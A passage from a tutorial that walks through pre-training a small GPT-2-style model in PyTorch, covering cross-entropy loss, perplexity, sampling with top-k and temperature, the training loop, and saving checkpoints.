will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize. - -Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0: - -

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

- -Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\ -For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one. - -## Pre-Train Example - -This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify - -
- -Previous code used here but already explained in previous sections - -```python -""" -This is code explained before so it won't be exaplained -""" - -import tiktoken -import torch -import torch.nn as nn -from torch.utils.data import Dataset, DataLoader - - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, num_workers=0): - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers) - - return dataloader - - -class MultiHeadAttention(nn.Module): - def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): - super().__init__() - assert d_out % num_heads == 0, "d_out must be divisible by n_heads" - - self.d_out = d_out - self.num_heads = num_heads - self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - - self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs - self.dropout = nn.Dropout(dropout) - self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - - def forward(self, x): - b, num_tokens, d_in = x.shape - - keys = self.W_key(x) # Shape: (b, num_tokens, d_out) - queries = self.W_query(x) - values = self.W_value(x) - - # We implicitly split the matrix by adding a `num_heads` dimension - # Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) - keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) - values = values.view(b, num_tokens, self.num_heads, self.head_dim) - queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - - # Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) - keys = keys.transpose(1, 2) - queries = queries.transpose(1, 2) - values = values.transpose(1, 2) - - # Compute scaled dot-product attention (aka self-attention) with a causal mask - attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - - # Original mask truncated to the number of tokens and converted to boolean - mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - - # Use the mask to fill attention scores - attn_scores.masked_fill_(mask_bool, -torch.inf) - - attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - attn_weights = self.dropout(attn_weights) - - # Shape: (b, num_tokens, num_heads, head_dim) - context_vec = (attn_weights @ values).transpose(1, 2) - - # Combine heads, where self.d_out = self.num_heads * self.head_dim - context_vec = context_vec.reshape(b, num_tokens, self.d_out) - context_vec = self.out_proj(context_vec) # optional projection - - return context_vec - - -class LayerNorm(nn.Module): - def __init__(self, emb_dim): - super().__init__() - self.eps = 1e-5 - self.scale = nn.Parameter(torch.ones(emb_dim)) - self.shift = nn.Parameter(torch.zeros(emb_dim)) - - def forward(self, x): - mean = x.mean(dim=-1, keepdim=True) - var = x.var(dim=-1, keepdim=True, unbiased=False) - norm_x = (x - mean) / torch.sqrt(var + self.eps) - return self.scale * norm_x + self.shift - - -class GELU(nn.Module): - def __init__(self): - super().__init__() - - def forward(self, x): - return 0.5 * x * (1 + torch.tanh( - torch.sqrt(torch.tensor(2.0 / torch.pi)) * - (x + 0.044715 * torch.pow(x, 3)) - )) - - -class FeedForward(nn.Module): - def __init__(self, cfg): - super().__init__() - self.layers = nn.Sequential( - nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), - GELU(), - nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), - ) - - def forward(self, x): - return self.layers(x) - - -class TransformerBlock(nn.Module): - def __init__(self, cfg): - super().__init__() - self.att = MultiHeadAttention( - d_in=cfg["emb_dim"], - d_out=cfg["emb_dim"], - context_length=cfg["context_length"], - num_heads=cfg["n_heads"], - dropout=cfg["drop_rate"], - qkv_bias=cfg["qkv_bias"]) - self.ff = FeedForward(cfg) - self.norm1 = LayerNorm(cfg["emb_dim"]) - self.norm2 = LayerNorm(cfg["emb_dim"]) - self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - - def forward(self, x): - # Shortcut connection for attention block - shortcut = x - x = self.norm1(x) - x = self.att(x) # Shape [batch_size, num_tokens, emb_size] - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - # Shortcut connection for feed-forward block - shortcut = x - x = self.norm2(x) - x = self.ff(x) - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - return x - - -class GPTModel(nn.Module): - def __init__(self, cfg): - super().__init__() - self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) - self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) - self.drop_emb = nn.Dropout(cfg["drop_rate"]) - - self.trf_blocks = nn.Sequential( - *[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - - self.final_norm = LayerNorm(cfg["emb_dim"]) - self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) - - def forward(self, in_idx): - batch_size, seq_len = in_idx.shape - tok_embeds = self.tok_emb(in_idx) - pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) - x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] - x = self.drop_emb(x) - x = self.trf_blocks(x) - x = self.final_norm(x) - logits = self.out_head(x) - return logits -``` - -
- -```python -# Download contents to train the data with -import os -import urllib.request - -file_path = "the-verdict.txt" -url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt" - -if not os.path.exists(file_path): - with urllib.request.urlopen(url) as response: - text_data = response.read().decode('utf-8') - with open(file_path, "w", encoding="utf-8") as file: - file.write(text_data) -else: - with open(file_path, "r", encoding="utf-8") as file: - text_data = file.read() - -total_characters = len(text_data) -tokenizer = tiktoken.get_encoding("gpt2") -total_tokens = len(tokenizer.encode(text_data)) - -print("Data downloaded") -print("Characters:", total_characters) -print("Tokens:", total_tokens) - -# Model initialization -GPT_CONFIG_124M = { - "vocab_size": 50257, # Vocabulary size - "context_length": 256, # Shortened context length (orig: 1024) - "emb_dim": 768, # Embedding dimension - "n_heads": 12, # Number of attention heads - "n_layers": 12, # Number of layers - "drop_rate": 0.1, # Dropout rate - "qkv_bias": False # Query-key-value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.eval() -print ("Model initialized") - - -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) - - - -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches - - -# Apply Train/validation ratio and create dataloaders -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) - - -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) - - -# Indicate the device to use -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - - - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) - - -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() - - -# Start training! -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") - - - -# Show graphics with the training process -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) - - -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -``` - -Let's see an explanation step by step - -### Functions to transform text <--> ids - -These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions: - -```python -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) -``` - -### Generate text functions - -In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic. - -The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts. - -- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`. -- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have. -- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1. -- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%. - -```python -# Generate text function -def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): - - # For-loop is the same as before: Get logits, and only focus on last time step - for _ in range(max_new_tokens): - idx_cond = idx[:, -context_size:] - with torch.no_grad(): - logits = model(idx_cond) - logits = logits[:, -1, :] - - # New: Filter logits with top_k sampling - if top_k is not None: - # Keep only top_k values - top_logits, _ = torch.topk(logits, top_k) - min_val = top_logits[:, -1] - logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits) - - # New: Apply temperature scaling - if temperature > 0.0: - logits = logits / temperature - - # Apply softmax to get probabilities - probs = torch.softmax(logits, dim=-1) # (batch_size, context_len) - - # Sample from the distribution - idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1) - - # Otherwise same as before: get idx of the vocab entry with the highest logits value - else: - idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1) - - if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified - break - - # Same as before: append sampled index to the running sequence - idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) - - return idx -``` - -> [!NOTE] -> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**. -> -> Then, **only those words** of the vocabulary will be considered according to their relative probabilities -> -> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**. -> -> _Note that this improvement isn't included in the previous code._ - -> [!NOTE] -> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\ -> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices. -> -> _Note that this improvement isn't included in the previous code._ - -### Loss functions - -The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\ -The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**. - -```python -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches -``` - -> [!NOTE] -> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training. -> -> _Note that this improvement isn't included in the previous code._ -> -> Check the following example: - -
- -### Loading Data - -The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section. - -From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\ -Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model. - -Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\ -The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes. - -Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set). - -Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch. - -```python -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) -``` - -## Sanity Checks - -The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation: - -```python -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) -``` - -### Select device for training & pre calculations - -The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point. - -```python -# Indicate the device to use - -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) -``` - -### Training functions - -The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step. - -The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training. - -Then the big function `train_model_simple` is the one that actually train the model. It expects: - -- The train data loader (with the data already separated and prepared for training) -- The validator loader -- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more. - - `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them. - - The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized). - - **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature. - - Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization. -- The device to use for training -- The number of epochs: Number of times to go over the training data -- The evaluation frequency: The frequency to call `evaluate_model` -- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample` -- The start context: Which the starting sentence to use when calling `generate_and_print_sample` -- The tokenizer - -```python -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() # Set in eval mode to avoid dropout - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() # Back to training model applying all the configurations - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() # Set in eval mode to avoid dropout - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() # Back to training model applying all the configurations -``` - -> [!NOTE] -> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.** -> -> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\ -> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases. -> -> _Note that these improvements aren't included in the previous code._ - -### Start training - -```python -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") -``` - -### Print training evolution - -With the following function it's possible to print the evolution of the model while it was being trained. - -```python -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) -``` - -### Save the model - -It's possible to save the model + optimizer if you want to continue training later: - -```python -# Save the model and the optimizer for later training -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -# Note that this model with the optimizer occupied close to 2GB - -# Restore model and optimizer for training -checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device) - -model = GPTModel(GPT_CONFIG_124M) -model.load_state_dict(checkpoint["model_state_dict"]) -optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) -optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) -model.train(); # Put in training mode -``` - -Or just the model if you are planing just on using it: - -```python -# Save the model -torch.save(model.state_dict(), "model.pth") - -# Load it -model = GPTModel(GPT_CONFIG_124M) - -model.load_state_dict(torch.load("model.pth", map_location=device)) - -model.eval() # Put in eval mode -``` - -## Loading GPT2 weights - -There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then: - -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you" -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some 